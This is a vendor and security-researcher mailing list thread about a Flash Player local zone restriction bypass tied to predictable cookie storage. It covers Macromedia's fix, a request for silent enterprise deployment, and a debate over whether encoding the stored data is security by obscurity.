To summarize, the Flash Player stores cookies in a somewhat predictable location (assuming the username can be guessed), and some of the contents are stored as plain text. While this is not in itself a directly exploitable vulnerability, an exploit can be
created in combination with a security flaw in the browser. Macromedia will therefore make changes so that browser vulnerabilities of this nature cannot be exploited using the Flash Player.

Once an updated Flash Player is available, we will post the new software and notify both our customers and the BugTraq community with this information.

Any questions can be directed to <mailto:secure@macromedia.com> secure@macromedia.com.

Regards,
-was-
William A. Schulze
Sr. Director
Flash Player Management Team
Macromedia, Inc.

william schulze [mailto:was@macromedia.com] wrote...
> Once an updated Flash Player is available, we will post the
> new software and notify both our customers and the BugTraq
> community with this information.

Will there be a standalone version of this patch that can be deployed
silently (unattended)? Also, is there a full download of Flash Player 7
somewhere that can be deployed silently? Visiting every machine in an
enterprise is not practical for most.

Thanks,
Francis

> From: Paul Szabo [mailtosz@maths.usyd.edu.au]=20
> Storing in an unpredictable location might help.=20
> Obfuscation does n instead of setting a cookie=20
> of BadThing, the attacker could set one that will=20
> become BadThing. The need to reverse-engineer the=20
> obfuscation, and details like possible character=20
> sets, are a minor hindrance only.=20
> Security by obscurity does not work.

If you had followed the debate in detail, you would have seen that there
are several aspects to this problem. First you have to store defined
content in a known location, then you have to load a locally residing
file in a window object, then you have to use another vulnerability to
change security zone and then you have to convince IE to render the
stored content as HTML.

Flash can remove the first and latter, and there is absolutely no
reverse-engineering that will convince IE to render a BAE-64 encoded
string as HTML. Loading a locally residing file in a window object
brings nothing new into the world of IE exploits, and after that you
STILL have to rely on yet another cross-domain vulnerability before all
of this can be exploited.

There is no obscurity being promised here, just an additional layer of
security - encoding and decoding data when it is being stored to and
read from permanent storage by Flash. Obscurity by security would only
have been the case here if the data that Flash stores was sensitive or
private, but it is not - all we want is to avoid having Flash used as an
automated transport mechanism of data from the Internet Zone to any
local security zones.


Regards
Thor Larholm
PivX Solutions, LLC - Senior Security Researcher
Get our research, join our mailinglist - http://pivx.com/larholm/

In-Reply-To: <20031030153550.15455.qmail@sf-www1-symnsj.securityfocus.com>

All:

Please note that Macromedia has released an update to Flash Player 7 to address the "local zone restriction bypass" security issue. More details are available in our security bulletin posted at the Macromedia Security Zone.

http://www.macromedia.com/devnet/sec...mpsb03-08.html

Sincere Regards,
-was-
William A. Schulze
Sr. Director
Flash Player Management Team